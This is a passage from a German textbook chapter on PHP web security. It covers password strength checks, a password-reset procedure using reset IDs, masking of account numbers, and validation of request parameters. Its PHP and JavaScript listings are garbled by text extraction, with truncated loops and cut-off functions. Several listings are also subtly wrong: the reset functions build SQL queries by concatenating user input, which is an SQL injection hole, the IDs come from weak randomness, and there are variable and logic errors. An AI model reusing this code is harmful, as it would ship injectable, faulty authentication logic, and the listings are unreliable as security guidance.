Zuordnung auf Client-Seite ist dennoch möglich. Die serverseitige Implementierung dieser Technik ist allerdings nicht ganz trivial; mit den Crack-Funktionen kann zwar die cracklib via PHP genutzt werden, jedoch sind diese Funktionen momentan experimentell und vor allem nicht sehr konfigurabel: So kann nur eine bestehende Datei als Wörterbuch geöffnet werden
110
4.2 Lösungsansätze
und keine Mindestlänge zur Prüfung durch einen PHP-Aufruf definiert werden. Eine Prüfung gegen die Daten des aktuellen Benutzers – also dessen Vornamen und Geburtsdatum etwa – ist somit nur sehr schwer zu realisieren. Aus diesem Grund muss die Prüfung des Passwortes mit eigenem Code erfolgen, um den aufgestellten Regeln Folge zu leisten. Eine einfache Funktion kann beispielsweise so aussehen:
111
Listing 4.13: checkPassword() analysiert Passwörter auf ihre Sicherheit
Dieses Beispiel ist bei Weitem nicht vollständig, sondern soll nur zeigen, wohin die Reise bei der Passwortüberprüfung gehen sollte. Vor allem die Prüfung auf die Verwendung von persönlichen Daten ist nicht vollständig; diese ist vor allem stark davon abhängig, was alles an Benutzerdaten vorliegt. Hierbei empfiehlt es sich auch, ein Geburtsdatum oder ähnliches getrennt durch den Benutzer eingeben zu lassen (jeweils ein eigenes Feld für Tag, Monat und Jahr), da sich so die vielen verschiedenen Verwendungsmöglichkeiten (getrennt durch Punkt oder Strich, ohne Trennzeichen, Angabe beginnend mit Tag oder Jahr etc.) leichter zusammenstellen und prüfen lassen. Die weitere Implementierung in PHP ist nicht weiter schwer: Im folgenden CodeAusschnitt wird davon ausgegangen, dass der Code das Passwort, die Benutzerdaten sowie eine ID geliefert bekommt. Das Skript prüft nun mit der Funktion checkPassword() die Daten und gibt den Status zusammen mit der ID an den Client zurück, somit ist es nicht notwendig, das Passwort mehrmals zu übertragen. … $returnText = ""; $success = true; // Hinweis: $userdata wird aus anderer Quelle bezogen, // lesen Sie dazu auch den folgenden Abschnitt! if(!isset($_REQUEST["passCheckID"]) || !isset($_REQUEST["password"]) || !isset($userdata)) { $returnText = "Ungültige Daten! "; $success = false; } else { $success = checkPassword(isset($_REQUEST["password"]), $userdata, 8, &$returnText); }
112
4.2 Lösungsansätze
// $success und $returnText müssen zusammen mit // $_REQUEST["passCheckID"] an den Client übertragen werden …
Listing 4.14: Sicherheitsprüfung eines Passworts mittels checkPassword()
Die Übernahme der Daten erfolgt dabei mittels AJAX – die Implementierung hierfür wurde hier weggelassen (dieses Buch soll auch kein Ersatz für weitergehende Lektüre in diese Richtung sein). Die übertragenen Daten können natürlich auch auf eine bestimmte Art und Weise verschlüsselt oder kodiert sein (siehe Abschnitt Abschnitt 4.2.1 Hash-Austausch via AJAX auf Seite 98). Natürlich ist es auch nicht immer notwendig, die Benutzerdaten zu übertragen: Möchte ein bestehender und angemeldeter Benutzer sein Passwort ändern, wäre es vollkommener Irrsinn, wenn der Client erst alle Benutzerdaten vom Server anfordert, um diese dann wieder an ihn zurückzusenden. Diese Daten können dann beispielsweise in der serverseitigen Session vorgehalten oder dynamisch aus einer Datenbank nachgeladen werden. Dafür wäre es lediglich erforderlich, dass der Client dem Server die Session-ID mitteilt, damit auch die richtigen Daten verwendet werden (Selbstverständlich müsste diese Session-ID auch auf Plausibilität geprüft werden, etwa ob sie wirklich zum Client gehört – beachten Sie hierzu auch Abschnitt 5.4 Session-Umgebung sichern auf Seite 154). Relativ trivial ist auch der Code, der für JavaScript notwendig ist, um eine solche asynchrone Passwortprüfung in eine Webseite zu integrieren. Wichtig ist nur, die jeweiligen Passwortprüfungen in einem Array mit einer ID abzulegen, so dass beim Eintreffen der Prüfungsergebnisse vom Server entschieden werden kann, ob es sich noch um das aktuelle Passwort handelt. Eine Beispiel-HTML-Seite enthält etwa folgendes Formular zur Eingabe eines Passwortes:
Status: unbekannt
Listing 4.15: Beispielformular zur Passworteingabe
Die implementierte Funktion checkPassword() sendet das Passwort an den Server und legt es vorher in einem Array zusammen mit einer ID ab (Hinweis: ID, Status und Fehlertext werden vom Server durch eine ||-Sequenz getrennt): <script type="text/JavaScript"> // Array für übermittelte Passwörter var pwdArray = new Array();
113
Kapitel 4 Sensitive Daten richtig behandeln
var globalId = 0; // Intiailisiert XMLHttpRequest-Instanz für AJAX var request = null; if(typeof XMLHttpRequest != "undefined") request = new XMLHttpRequest(); else { var versions = ["MSXML2.XMLHttp.5.0", "MSXML2.XMLHttp.4.0", "MSXML2.XMLHttp.3.0", "MSXML2.XMLHttp", "Microsoft.XMLHttp"]; for(var i=0; i3) return; var curId = respData[0]; var curStatus = respData[1]; var curMessage = ""; if(respData.length==2) curMessage = respData[1]; if(curMessage.length==0 && eval(curStatus)) curMessage = "Passwort gültig";
114
4.2 Lösungsansätze
else if(curMessage.length==0) curMessage = "Passwort ungültig, Ursache unklar! "; var i= 0; for(i=0; i
Listing 4.16: Serverseitige Prüfung des Passworts mittels AJAX
115
Kapitel 4 Sensitive Daten richtig behandeln
Dieses Vorgehen ist natürlich sehr trivial: Zur Statusanzeige wird ein div verwendet, die Meldung des Serverskriptes wird darin ausgegeben und je nach Prüfungsergebnis farbig hinterlegt. Geschickter wäre hier die Verwendung einer Grafik (etwa eines roten Kreuzes). Zudem ist dieses hier vorgestellte System insgesamt sehr pragmatisch: Das Passwort wird entweder als gültig gewertet oder nicht, in manchen Umgebungen wäre ein System, das neben der Gültigkeit auch die Stärke bewertet und farblich in Balkenform darstellt, sinnvoller. Die hier vorgestellten Skripte sollen lediglich eine Anregung geben und sind keinesfalls dafür geeignet, 1:1 in die eigene Webseite übernommen zu werden: Dafür ist die Thematik der Passwortsicherheit und welche Auswirkungen erratene Passwörter haben können viel zu ernst.
4.2.3 Vergessene Passwörter Vor allem sichere Passwörter (siehe vorhergehender Abschnitt) sind eher komplexer Natur und unaussprechlich – weswegen sie »gern« vergessen werden. Jedoch sollte es einem Benutzer möglich sein, wieder zu einem Passwort zu gelangen, sobald er sein bisheriges vergessen hat. Die einfachste Methode ist der direkte Kontakt zum Administrator, der dann den Benutzerzugang mit einem neuen Passwort freischaltet. Diese Methodik ist sehr einfach und ineffektiv: Bei größeren Communities mit einigen hundert bis tausend Mitgliedern wäre der Administrator bei dieser Vorgehensweise vollständig mit dem Rücksetzen von Passwörtern ausgelastet, zudem würde sich die Frage stellen, was passiert, falls der Administrator längere Zeit nicht erreichbar ist. Wesentlich effektiver und vor allem schneller kann dies ein Automatismus erledigen, der allerdings natürlich sicherstellen muss, dass das neue Passwort den Kriterien der Passwortvergabe (siehe Abschnitt 4.2.2 Vermeidung von unsicheren Passwörtern auf Seite 108) genügt und ausschließlich der originäre Benutzer das Passwort zurücksetzen kann. Es nützt nichts, wenn das Passwort selbst sehr sicher ist, aber jeder beliebige Benutzer die Passwörter anderer User zurücksetzen kann. Im schlimmsten Fall käme ein solcher Angreifer an das neue Passwort und kann sich unter anderer Identität einloggen – im minder schweren Fall sorgt eine solche Aktion für Ärger beim Opfer: Er kann sich mit seinem bisherigen Passwort nicht mehr einloggen. Es gibt für dieses Vorgehen natürlich verschiedene Techniken, die stark verbreitet sind. Jedoch hat jede dieser Methoden ihre Tücken und ihr eigenes Gefahrenpotenzial: Keine ist wirklich sicher gegen einen Einfluss von außen. Der Einsatz hängt auch stark von der Umgebung ab: Eine Online-Banking-Seite wird andere Sicherheitsmaßstäbe anlegen als eine Seite, die lediglich den Zugang zu Foren bietet. Weit verbreitet ist auf vielen Webseiten die Methodik der Sicherheitsfrage: Bei der Registrierung wählt ein Benutzer aus einer vorgegebenen Menge an Fragen eine
116
4.2 Lösungsansätze
aus und trägt seine Antwort ein. Vergisst er später sein Passwort, wird er mit dieser Frage konfrontiert – bei richtiger Antwort kann er entweder ein neues Passwort setzen oder bekommt ein neues zugeteilt. Leider sind diese vorgefertigten Fragen sehr allgemein gefasst: Es handelt sich etwa um den Mädchennamen der Mutter, den Namen des Haustiers oder gar die Lieblingsfarbe. Dies sind zweifelsohne Daten, die sich nicht ändern und die der Benutzer im Allgemeinen nicht vergisst. Allerdings sind die Antworten auch leicht recherchierbar; im einfachsten Fall kann ein Angreifer diese Daten der Webseite des jeweiligen Opfers entnehmen oder findet diese in anderen Quellen wie etwa Suchmaschinen. Selbst wenn die Seite dem Benutzer selbst eine Frage definieren lässt, landet man im selben Dilemma – nur die wenigsten Benutzer werden eine so außergewöhnliche Frage stellen, deren Antwort nicht recherchierbar ist. Aus diesem Grund sollte man unbedingt auf diese Technik verzichten. Allerdings gibt es nicht viele Alternativen dazu, und alle haben etwas gemein: Dem Benutzer wird über einen bekannten Kommunikationsweg entweder direkt ein neues Passwort zugestellt oder er erhält einen Code oder einen Link, unter dessen Verwendung er das Passwort zurücksetzen kann. Diese Methoden gehen davon aus, dass nur der Benutzer selbst Zugriff auf diese Information hat, wenn sie an die gespeicherte E-Mail-Adresse oder Handy-Nummer gesendet werden. Hat er keine Rücksetzung des Passworts veranlasst, wird er diese Nachricht unbeachtet lassen und kann weiterhin mit seinen bestehenden Zugangsdaten arbeiten. So kann verhindert werden, dass ein Dritter ohne Wissen des Benutzers Zugangsdaten verändert und Zugriff erlangt. Bevor es an die Implementierung dieser Grundidee geht, sei daran erinnert, dass weder ein E-Mail-Konto noch ein Handy oder gar eine Postadresse wirklich sicher ist: E-Mail-Zugangsdaten können erraten oder erschlichen, Mobiltelefone gestohlen und Briefkästen aufgebrochen werden. Sobald jedoch physikalische Gewalt notwendig ist, kann davon ausgegangen werden, dass das Risiko verhältnismäßig gering ist. Für diese indirekte Rücksetzung bzw. Neuvergabe des Passwortes gibt es zwei denkbare Methoden: 쐽
Der Benutzer erhält eine Nachricht, die das neue automatisch erstellte Passwort enthält.
쐽
In der Nachricht befindet sich kein Passwort, sondern lediglich ein Code, der zusammen mit dem Benutzernamen auf der Webseite eingegeben werden muss; alternativ enthält die Mittelung einen codierten Link. Wird nun der Code eingegeben oder der Link aufgerufen, wird ein neues Passwort erzeugt oder kann vom Benutzer vergeben werden.
Beide Vorgehensweisen haben ihre Berechtigung. Die erste ist wesentlich komfortabler für Benutzer, da keine weitere Aktion mehr notwendig ist und sich der Benutzer unverzüglich mit dem neuen Passwort authentifizieren kann. Jedoch gibt
117
Kapitel 4 Sensitive Daten richtig behandeln
es hier einen klaren Nachteil: Jede Anforderung eines neuen Passworts über den entsprechenden Link der Webseite führt dazu, dass sich der Benutzer nicht mehr mit dem alten Passwort anmelden kann, da dieses ersetzt wurde. Wer dem Benutzer Böses will, setzt somit ständig das Passwort zurück. Der User muss nun jedes Mal seine E-Mails abfragen und das neue Passwort verwenden (ganz abgesehen davon, was passiert, wenn der Angreifer in Besitz der Zugangsdaten des E-MailKontos ist). Das zweite Verfahren ist in der Bedienung für den Benutzer komplexer: Er muss die Rücksetzung auf der Webseite anfordern, dann die Nachricht – z.B. eine E-Mail – abwarten und entsprechend den Weisungen der Nachricht vorgehen und beispielsweise auf der Webseite erneut auf einen Link »Passwort vergessen« klicken und den Benutzernamen mit dem übermittelten Code eingeben, um so die endgültige Rücksetzung einzuleiten. Etwas bequemer ist es, wenn statt einem Code ein Link in der E-Mail enthalten ist, der bereits die Rücksetzung für genau diesen Benutzer veranlasst; dabei sollte die URL natürlich kodiert sein: Sie darf nicht erratbar sein – es muss also eine einmalige, nicht vorhersagbare ID in der URL vorhanden sein, anhand derer der Server feststellen kann, welcher Benutzer durch den Reset betroffen ist. Hier stellt sich allerdings in letzter Zeit ein vollkommen anderes Problem: E-Mails, die kaum Text und einen Link enthalten, könnten von einem Mail-Server als Spam-Mail erkannt und somit gefiltert werden. Deshalb sollte man nicht einfach nur eine E-Mail mit einem kryptischen Link versenden, sondern diese Nachricht auch mit einem gültigen Absender, einer sinnvollen Betreffzeile und einer Beschreibung der weiteren Vorgehensweise versehen werden. Trotz dieser Problematik ist diese Technik wesentlich besser geeignet: Hier wird das Passwort erst zurückgesetzt, wenn der Benutzer den angegebenen Link aufruft; solange dies nicht der Fall ist, kann der Benutzer mit dem gewohnten Passwort weiterarbeiten. Fordert ein Dritter die Passwortrücksetzung an, kann der Benutzer diesen ungewollten Vorgang ignorieren.
Hinweis Aus Sicherheitsgründen sollten Codes und URLs für die Rücksetzung nur zeitlich begrenzt gültig sein. Im folgenden Code wird die zweite Technik implementiert; möchte ein Benutzer das Passwort zurücksetzen, um seinen Account wieder verwenden zu können, sind folgende Schritte notwendig: 1. Der Benutzer muss auf einen Link »Passwort vergessen« klicken. 2. Er muss auf der neuen Seite seinen Benutzernamen eintragen. 3. Der Server generiert eine Reset-ID, die zusammen mit dem Benutzernamen und dem Erstellungszeitpunkt innerhalb einer eigenen Datenbanktabelle gespeichert wird. 118
4.2 Lösungsansätze
4. Der Server wird anhand des Namens die gespeicherte E-Mail-Adresse ermitteln, einen URL mit der Reset-ID an diese Adresse senden. 5. Der Benutzer öffnet die E-Mail und verwendet den Link. 6. Der Server prüft, ob die Reset-ID vorhanden und noch gültig ist, und erzeugt ein neues Passwort, dass dem Benutzer per E-Mail zugesendet wird. Der letzte Schritt dient lediglich einer weiteren Absicherung: Sollte ein Angreifer an die erste E-Mail gelangt sein, ist es besser, das automatisch erzeugte Passwort nicht direkt anzuzeigen, sondern erneut an den Benutzer zu senden – hierbei wird davon ausgegangen, dass der Benutzer den Datendiebstahl zwischenzeitlich bemerkt und das Passwort für des E-Mail-Kontos geändert hat. Die folgende Implementierung beginnt mit Schritt drei, die vorher notwendigen Aufgaben sind mit simplen HTML-Formularen und Links realisierbar. Die ResetID muss eindeutig sein – und nicht vorhersagbar. Dies hat einen einfachen Grund: Wann immer ein Angreifer eine solche ID zufällig errät, kann er zumindest die Passwortrücksetzung eines Accounts verursachen, was für den Benutzer zumindest bedeutet, dass er ein neues Passwort verwenden muss. Deswegen sollte die ID keine schlichte Zahl sein, die nach einem bestimmten Muster inkrementiert wird, obwohl dies weitestgehende Einmaligkeit bedeuten würde. Zum Thema Einmaligkeit kann man auch noch ein paar Worte verlieren: Diese ist grundsätzlich wichtig, doch ist es unter bestimmten Bedingungen nicht unbedingt ein Ausschlusskriterium. Dabei kommt es darauf an, ob der Benutzername ebenfalls in dem Link verwendet wird, also nur die Kombination von Benutzernamen und Reset-ID zu einer Rücksetzung führt, oder ob hier auf die Angabe des Benutzernamens verzichtet wird und dieser mittels der Reset-ID lediglich aus der Datenbank ausgelesen wird. Werden beide Faktoren verwendet, ist es wesentlich ungefährlicher, wenn eine ID doppelt vergeben wird: Anhand des Benutzernamens wird der richtige Account zurückgesetzt (natürlich ist das Risiko, dass ein Angreifer so das falsche Konto zurücksetzt, nicht gebannt). Eine zufällige ID ist natürlich mit einem normalen Webserver nicht erzeugbar – eine Hardware, die etwa das kosmische Rauschen einbezieht, wäre notwendig. Es gibt allerdings Methoden, die relativ zuverlässig sind. Hier werden die aktuelle Zeit des Servers und ein 16 Zeichen langer String, dessen Zeichen mit den Zufallsfunktionen von PHP erzeugt werden, verkettet – der md5()-Hash dieses Strings wird als Reset-ID verwendet. Um ganz sicher zu gehen wird jedoch vorher geprüft, ob diese ID nicht bereits in der Datenbank vorhanden ist:
119
Kapitel 4 Sensitive Daten richtig behandeln
$randomString = time(); for(int i=0; i<16; i++) $randomString .= chr(rand(32, 127)); return md5(str_shuffle($randomString)); } // prüft ID auf Existenz in Datenbank function existsResetID($resetID, $dbhandle) { $result = $dbhandle->query("SELECT resetID FROM reset_accounts WHERE resetID = ‚".$resetID. "’"); return $result->columnCount()==0; } // fügt ID in Verbindung mit Benutzernamen und Zeitstempel in // Datenbank ein; Hinweis: Der Zeitstempel vom Typ Timestamp wird // von MySQL automatisch eingetragen! function insertResetID($user, $resetID, $dbhandle) { $result = $dbhandle->query("INSERT INTO reset_accounts (resetID, user) VALUES(‚$resetID’, ‚$user’) "); if($result->rowCount()==0) return false; else return true; } // löscht veraltete IDs aus der Datenbank function removeOldResetIDs($dbhandle) { $dbhandle->query("DELETE FROM reset_accounts WHERE stamp < DATEDIFF(NOW, INTERVAL 2 HOURS)"); } // Diese Funktion sollte den Benutzerdatensatz aus der Datenbank lesen, // und eine eMail mit dem Link inklusive der Reset-ID an den Benutzer // versenden function sendNotificationMailToUser($user, $resetID, $dbhandle) { … } $dbh = new PDO("mysql:host=localhost;dbname=testdb", "dbuser", "dbpasswd"); if(isset($_REQUEST["DoRequestResetAccount"]) && $_REQUEST["DoRequestResetAccount"]==1 && isset($_REQUEST["user"]) && strlen($_REQUEST["user"])>0) {
Listing 4.17: Funktionen für die Rücksetzung eines Benutzerzugangs
In dieser Implementierung wird der Benutzer mit seinem Namen innerhalb der reset_accounts-Tabelle gespeichert. Besser wäre es freilich, auch hier bereits die aus der Datenbank ermittelte Benutzer-ID zu verwenden. Für die Gültigkeit der Reset-Anfrage sind zwei Stunden ein guter Kompromiss. Ist die Zeitspanne zu kurz, kann dies sehr ärgerlich sein, wenn etwa die E-Mail den Benutzer schnell genug erreicht oder er aus anderen Gründen nicht unverzüglich auf die E-Mail reagieren kann. Ist eine solche Anforderung jedoch zu lange gültig, kann dies wieder ein Sicherheitsrisiko in sich bergen: Je länger diese Anfrage gültig ist, desto eher wird diese ID durch einen Dritten erraten oder gelangt in die Hände eines Dritten. Jede Anforderung eines Benutzers sorgt auch dafür, dass veraltete Anfragen aus der Datenbank gelöscht werden. Dies ist jedoch nicht die ausschlaggebende Methode: Bei der Verarbeitung einer Anfrage mit Reset-ID – also wenn der Benutzer den Link aufruft – wird die Gültigkeit explizit geprüft. Das Löschen ist lediglich Kosmetik und soll dafür sorgen, dass sich die Tabelle nicht auf Dauer mit nicht genutzten Rücksetzanfragen füllt. Zur Erhöhung der Sicherheit sollte der Link, den das gezeigte Skript an den Benutzer versendet, sowohl die Reset-ID als auch den Benutzernamen enthalten: http:// testserver/resetaccount.php?ResetID=76d98e3b19907cd1&User=TestUser. Eine Funktion, die diese Daten prüft und ein neues Passwort erzeugt, kann etwa so aussehen: function doReset($user, $resetID, $dbhandle) { $result = $dbhandle->query("SELECT count(*) FROM reset_accounts WHERE resetID = ‚$resetID’ AND user = ‚$user’ AND
121
Kapitel 4 Sensitive Daten richtig behandeln
stamp>SUBTIME(SYSDATE(),’02:00:00.000001’) "); if($result->columnCount()==0) return false; $newPass = generateSecurePassword(); sendPasswordMailToUser($user, $password, $dbhandle->query("DELETE FROM reset_accounts WHERE resetID = ‚$resetID’ AND user = ‚$user’"); }
Listing 4.18: Die Funktion doReset()
Hier wird ein Datensatz selektiert, bei dem sowohl Reset-ID und Benutzername übereinstimmen und bei dem die Gültigkeit – der Eintrag darf nicht älter als zwei Stunden sein – als Kriterien dienen. Gibt es einen solchen Datensatz, wird ein neues Passwort erzeugt und an den Benutzer versendet. Die beiden Funktionen generateSecurePassword() und sendPasswordMailToUser() müssen dabei separat implementiert werden. Ein Aufruf der doReset()-Funktion kann dabei etwa so in das bestehende Skript integriert werden: if(isset($_REQUEST["DoRequestResetAccount"]) && $_REQUEST["DoRequestResetAccount"]==1 && isset($_REQUEST["user"]) && strlen($_REQUEST["user"])>0) { … } else if(isset($_REQUEST["DoResetAccount"]) && $_REQUEST["DoResetAccount"]==1 && isset($_REQUEST["ResetID"]) && strlen($_REQUEST["ResetID"])>0 && isset (["User"]) && strlen($_REQUEST["User"])>0) { doReset($_REQUEST["User"], $_REQUEST["ResetID"], $dbh); } else echo "Unbekannte Anfrage!"; $dbh = null;
Listing 4.19: Aufruf von doReset()
Hinweis In den Beispielskripten fehlt klar die Ausgabe der E-Mails und eventuell notwendigen HTML-Codes – dieser Code muss natürlich hinzugefügt werden, er hätte jedoch das Skript nur unnötig aufgebläht und hat auf die Vorgehens- und Funktionsweise keinerlei Einfluss. Ein voll funktionsfähiges Beispiel finden Sie auf der Webseite des Buchs.
122
4.2 Lösungsansätze
4.2.4 Nur notwendige Daten übermitteln Auf einigen Webseiten herrscht bisher die Meinung vor, dass nach Möglichkeit alle Daten, die irgendwie verfügbar – also beispielsweise in der Datenbank gespeichert – sind, angezeigt werden sollten. In der Zeit von Angreifern und Datensammel-Roboter, die automatisiert alle E-Mail-Adressen archivieren, um sie als gefälschte Absender oder unfreiwillige Empfänger für Spam-Mails zu verwenden, ist es zumindest zweifelhaft eine Große Menge an eigentlich nicht benötigten Daten vorzuhalten. Doch es gibt auch andere Informationen, die für die Funktion bestimmter Dienste notwendig sind, die jedoch auch entgegen ihrem ursprünglichen Zweck genutzt werden können. Dies betrifft nicht nur öffentlich zugängliche Daten: Vor allem Informationen, die nur mithilfe eines Angriffs oder einer Spionage erlangt werden können, sind umso interessanter – dies betrifft zum Beispiel die oft erwähnten Kreditkarten- und Bankkontendaten. Schafft es ein Angreifer, entweder den Datenverkehr zwischen Server und Client »mitzuschneiden« (ein erfolgreiches Entschlüsseln der Daten, die vom Server an den Client per SSL übertragen werden ist nicht unmöglich, beachten Sie hierzu auch Kapitel 8) oder einen Trojaner auf dem Rechner des Clients zu installieren, kann er mit diesen Daten bereits finanziellen Schaden anrichten. Hinzu kommt, dass ein Webseitenbetreiber für so entstandenen Schaden haften muss. Schafft es jedoch ein Angreifer Zugriff auf die Datenbank der Webseite zu erhalten, ist eine Schuld des Betreibers unvermeidlich, es ist also auf jeden Fall besser, wenn die Datenbank so wenig sensitive Daten enthält wie nur möglich. Die Sicherheitsrisiken, die durch die intensive Offenlegung der Daten entstehen können, sollten weitestgehend minimiert werden können, wenn einige Regeln für Webseiten beachtet werden. 1. Daten, die für die Funktionalität der Webseite keinerlei Bedeutung haben, sollten nicht gesammelt und gespeichert werden, bei einer Foren-Community wäre das z.B. die Telefonnummer der Benutzer. 2. Auf öffentlich zugänglichen Seiten sollten keinerlei sensitive Daten angezeigt werden. Um etwa Benutzerdaten einsehen zu können, sollte ein Login erzwungen werden. 3. Der Aufruf von Informationen – etwa der eigenen oder der Profildaten eines anderen Benutzers – sollte in jedem Fall nachvollziehbar mit Datum, Zeit, Benutzer und IP-Adresse protokolliert werden. 4. Sofern die Anzeige von sensitiven Daten zur Überprüfung durch den Benutzer notwendig ist (etwa die Kreditkartennummer vor der Durchführung eines Zahlungsvorgangs), sollte nur ein Teil der Daten übermittelt und der Rest durch ein
123
Kapitel 4 Sensitive Daten richtig behandeln
einheitliches Zeichen verfremdet werden. Der Benutzer sieht statt seiner Kreditkartennummer 1234 5678 9012 3456 also nur xxxx xxxx xxxx 3456. 5. Datenbankpasswörter sollten regelmäßig verändert werden. Zu Punkt vier eine Anmerkung: Eine Zeit lang schien es üblich, dass von Kontonummern und Kreditkarten nur jeweils drei bis vier Zeichen angezeigt wurden, was grundsätzlich zu befürworten ist, denn wird nur diese Anzahl Zeichen im Browser angezeigt, werden auch nur diese Zeichen im Klartext angezeigt. Jedoch ist es zur Unsitte geworden, bei jedem Aufruf andere Stellen als Klartext anzuzeigen: Beim ersten Aufruf sind beispielsweise die letzten drei Zeichen sichtbar, beim nächsten die ersten drei; hat ein Angreifer Zugriff auf das Benutzerkonto erlangt, so kann er bei dieser Technik mit mehreren Aufrufen die kompletten Daten rekonstruieren – er benötigt lediglich Bleistift, Papier und ein paar Minuten Zeit. Inzwischen hat es sich zum Glück durchgesetzt, dass stets die gleichen Stellen als Klartext angezeigt werden (meistens handelt es sich hier um das Ende der jeweiligen Nummer). Allerdings sollte nicht blind eine festgelegte Anzahl Zeichen im Klartext übermittelt werden – es sollte in einem gewissen »Maximalverhältnis« stehen: Besteht eine Kontonummer nur aus sechs Stellen, ist es wenig ratsam, vier Zeichen als Klartext anzuzeigen. Als Faustregel gilt: Es sollten nicht mehr als 30 % der verfügbaren Zeichen im Klartext übermittelt werden, dabei kann bei sensitiven Daten ruhig davon ausgegangen werden, dass diese mindestens eine Länge von sechs Zeichen haben und somit mindestens zwei Zeichen angezeigt werden. Eine einfache PHP-Funktion, die die Ausgabe einer Zeichenkette anpasst, sieht beispielsweise so aus: function masqueradeData($data) { return str_pad(substr($data, (int)(strlen($data)-strlen(data)/3))-1), strlen($data), "x", STR_PAD_LEFT); }
Passwörter sind in diesem Zusammenhang ein Spezialfall, da deren Übermittlung ein Einfallstor öffnen kann. Diese Daten werden zwar im Allgemeinen in einem Passworttextfeld angezeigt (sofern das überhaupt notwendig ist), doch steht der Wert natürlich im HTML-Quelltext. Um zu vermeiden, dass ein Hacker etwa nach einem Session-Hijacking so an das Passwort gelangt, sollte das Passwortfeld niemals mit dem eigentlichen Wert belegt werden: Der Server sollte das Feld mit einem Dummy-Wert belegen, der als Passwort nicht in Frage kommt, weil er etwa durch die Sicherheitskriterien fallen würde. Sendet der Benutzer nun das Formular ab, kann der Server prüfen, ob der Inhalt des Passwortfeldes noch dem DummyWert entspricht; ist dies nicht der Fall, hat der Benutzer selbst ein neues Passwort definiert, das in die Zugangsdaten übernommen werden sollte.
124
4.2 Lösungsansätze
4.2.5 Datenprüfung Nicht nur die Daten der Benutzer können Ziel von Angreifern sein, sondern auch die Daten, auf denen die Funktionen der verschiedenen PHP-Skripte aufbauen, sind sehr attraktiv. Durch eine Manipulation kann man teilweise Effekte erreichen, die vom Programmierer nicht berücksichtigt und somit auch nicht abgefangen werden. POST- und GET-Parameter
War es noch vor einigen Jahren verhältnismäßig schwierig, POST-Parameter zu fälschen – dies ging nur, indem man selbst per telnet auf Port 80 eine Verbindung zum Webserver aufbaute und von Hand die Kommunikation mit dem Server durchführte –, gibt es heute dafür teilweise sehr komfortable Browser-Tools. Diese Zusatzprogramme können ohne jeden Zweifel für das Testen der eigenen Webanwendung sehr nützlich sein, können jedoch auch gegen eine Webseite eingesetzt werden (ein solches Tool ist etwa das Web-Developer-Plugin des Firefox- und Mozilla-Browsers, herunterladbar unter http://chrispederick.com/work/ web-developer/). Dies hat zur Folge, das feste Werte – etwa Optionsfelder oder Auswahlboxen in HTML-Formularen – plötzlich doch nicht mehr allzu fest sind, will heißen: Ging der Programmierer davon aus, dass jeder Wert, den eine select-Box liefert, immer gültig ist (da er ja vordefiniert wurde), kann das bei blinder Übernahme fatale Folgen haben: Wird ein gelieferter Wert aufgrund dieser Ansicht blind in die Datenbank übernommen, kann ein Angreifer so jeden beliebigen Wert in der Datenbank ablegen (die Problematik geht dabei je nach Web-Applikation von Cross Site Scripting – siehe Abschnitt 4.1.5 Cross Site Scripting auf Seite 92 – bis hin zur Erschleichung von Benutzerrechten). Parameter, die einen entscheidenden Einfluss auf das Verhalten der eigenen WebApplikation haben, sollten also nicht nur im HTML-Formular fest definiert, sondern auch im PHP-Skript nochmalig auf Plausibilität geprüft werden. Dabei ist es wesentlich einfacher, wenn Parameter lediglich Zahlencodes entsprechen, wo immer das möglich ist. Auf den ersten Blick scheint so das Testen und die Handhabbarkeit aus Sicht des Entwicklers zu leiden, wenn nur noch Zahlencodes statt klarer Strings übertragen werden, doch lassen sich die Gültigkeitsbereiche von Integer-Variablen viel effektiver als die von String-Variablen prüfen: // Gültigkeitstest Integer-Variable: if(isset($_REQUEST["parameter"] && $_REQUEST["parameter"]>=0 && $_REQUEST["parameter"]<=10) … // Gültigkeitsprüfung String-Variable
Die Zahlencodes müssen lediglich innerhalb eines bestimmten Zahlenbereiches liegen, und schon ist die Prüfung wesentlich leichter mit zwei Vergleichsoperationen durchführbar. Im Endeffekt sollten nur noch Daten, die nicht klassifiziert werden können und flexibel sein müssen, tatsächlich nicht durch feste Codes ersetzt werden, die nachrangig geprüft werden. Dabei handelt es sich zumeist um Benutzerdaten wie etwa E-Mail-Adressen: Diese müssen schlichtweg frei eingetragen werden und können nicht vorher fest definiert werden. Wichtig ist lediglich, dass die flexibel auf mehr oder minder beliebige Werte änderbaren Parameter keinerlei Einfluss auf das Verhalten der Web-Applikation haben sollten, um die Daten als Gefahrenquelle auszuschließen. Allerdings ist die Prüfung eines Wertes gegen den Gültigkeitsbereich natürlich bei Weitem noch nicht einmal die halbe Miete. Bedacht werden sollte auf jeden Fall auch, dass nicht jedem Benutzer jede Option offensteht. So sind in einer ForenCommunity wahrscheinlich alle Foren mit einer ID innerhalb der Datenbank gespeichert. Gibt es darunter Foren, die nicht für alle Benutzer zugänglich sein sollen (z.B. da dort Themen behandelt werden, die nur für Administratoren relevant sind), würde es natürlich nicht reichen, beim Aufruf eines Forums durch einen Client lediglich zu prüfen, ob die ID innerhalb der vorhandenen IDs liegt, vielmehr muss auch weiterhin verglichen werden, ob der Benutzer Zugriff auf dieses Forum besitzt. Keinesfalls sollte man sich darauf verlassen, dass das HTML-Formular dem Benutzer jeweils nur die Foren zur Auswahl anzeigt, zu denen er Zugriffsrechte besitzt – eine Prüfung sollte auch bei der Verarbeitung der jeweiligen Parameter erfolgen. Doch nicht nur Parameter, die der Client als POST- oder GET-Parameter übermittelt, bergen die Gefahr der Manipulation (siehe auch Abschnitt 4.1.4 Zwischenspeicherung von Sessions und Cookies auf Seite 91), dies betrifft vielmehr alle Daten, die von außen an das jeweilige PHP-Skript übermittelt werden – im besonderen sind hier Daten, die direkt von einem Client kommen, betroffen. Cookies
Cookies werden verwendet, um Informationen, die etwa das Aussehen oder die Funktionalität der Webseite beeinflussen, auf dem Client zu speichern. Dieses Vorgehen ist äußerst praktisch, denn so muss nicht jede Kleinigkeit auf dem Server innerhalb der Session oder der Datenbank gespeichert werden und der Benutzer
126
4.2 Lösungsansätze
